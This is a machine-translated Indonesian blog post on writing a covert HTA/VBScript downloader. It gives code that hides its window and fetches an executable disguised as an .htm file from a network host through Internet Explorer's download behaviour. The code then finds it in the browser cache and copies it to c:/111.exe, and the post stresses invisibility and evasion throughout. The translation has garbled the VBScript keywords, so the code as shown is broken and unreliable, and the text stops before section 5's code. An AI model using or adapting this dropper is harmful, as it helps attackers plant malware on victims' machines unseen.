1. Mari kita bicara tentang dua pengunduh VBS yang relatif baru di blog ini. Satu dibuat menggunakan komponen CDO.Message dan yang lainnya dibuat menggunakan microsoft.xmldom. Lihat http://www.jb51.net/article/15506.htm. Salah satu dari dua pengunduh ini merepotkan untuk digunakan dan perlu mengonversi EXE terlebih dahulu. Kedua, cscript.exe akan mengakses jaringan selama penggunaan, yang tidak terlalu tersembunyi. Yang kedua adalah bahwa beberapa mesin tidak memiliki dua komponen ini dan menggunakan adodb.stream, jadi ada beberapa kelemahan.
2. Mari kita bicara tentang pengunduh Lake2 http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx. Pengunduh ini cukup bagus, tetapi ada masalah. Salah satunya adalah bahwa jika browser lain seperti 360 diinstal, jendela IE akan dibuka, dan lokasi cache IE yang dibaca dari registri mungkin tidak akurat.
3. Jadi bagaimana kita memperbarui cacat ini? Masih ada jalan. Kami menggunakan HTA untuk menulis ini, yang relatif jarang. HH.exe umumnya akan dirilis saat mengakses jaringan. Berapa banyak kesulitan yang harus diselesaikan dengan menulis pengunduh ini:
(1). Jadikan HTA Invisible ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(2). Buat baris perintah hta terima Parameter ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(3). Jangan panggil semua komponen yang disebutkan dalam item pertama dan kedua di atas----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(4) Lokasi sementara cache .ie ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(5) Kami tidak menelepon apapun Komponen ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4. Kode (Langsung tulis parameter di HTA)
Kodenya adalah sebagai berikut:
<bahasa skrip = vbs>
Window.Moveto 4000.4000
window.resizeto 0,0 'membuat hta tidak terlihat
Set Objshell = createObject ("wscript.shell") 'hta dapat secara langsung memanggil wscript.shell, tetapi tidak dapat memanggil wscript.createObject ("wscript.shell")
downpath = objshell.expandenvironmentstrings ("%userprofile%") & "/setting local" 'Dapatkan jalur unduhan sesuai dengan variabel lingkungan
Setel xml = document.createelement ("xml") 'Perilaku default membuat panggilan elemen xml yaitu
xml.addbehavior ("#Default#download")
xml.async = 0
xml.load ("http://192.168.0.10/xx.htm") 'Harap ubah nama EXE ke ruang. Jika Anda mengunggahnya dengan perangkat lunak FTP, itu mungkin tidak berfungsi. Lebih baik memakainya.
ShowallFile (Downpath)
Sub showallfile (jalur) 'bepergian dan mencari, langsung gunakan kode Lake2
FindFileName = "xx [1] .htm" 'Ini juga yang perlu Anda ubah. Jika di atas adalah xx.htm, inilah xx [1] .htm
Atur fso = createObject ("Scripting.filesystemObject")
Atur f = fso.getFolder (path)
Atur fc = f.subfolder
Untuk setiap F1 di FC
Jika fso.fileexists (Path & "/" & f1.name & "/" & findFileName) maka
Fso.copyfile path & "/" & f1.name & "/" & findFileName, "c: /111.exe" 'save to c: /111.exe, dan dapat diubah sesuai kebutuhan
'Document.write "[+] Unduh Sukses!"
Akhiri jika
ShowAllFile Path & "/" & f1.name
Berikutnya
Atur fso = tidak ada
Akhir sub
window.close
</script>
Penggunaannya adalah: letakkan exe seperti xx.exe di ruang, lalu klik dua kali pada HTA ini.
5. Kode Lain (Parameter Baris Perintah Lulus)
Saya pribadi berpikir kode di bagian keempat lebih baik, cukup ubah dan gunakan. Jika parameter baris perintah dipanggil, saya menemukan bahwa jendela HTA masih akan muncul dan hanya akan ditutup setelah mengunduh, jadi ini tidak terlalu bagus. Kode: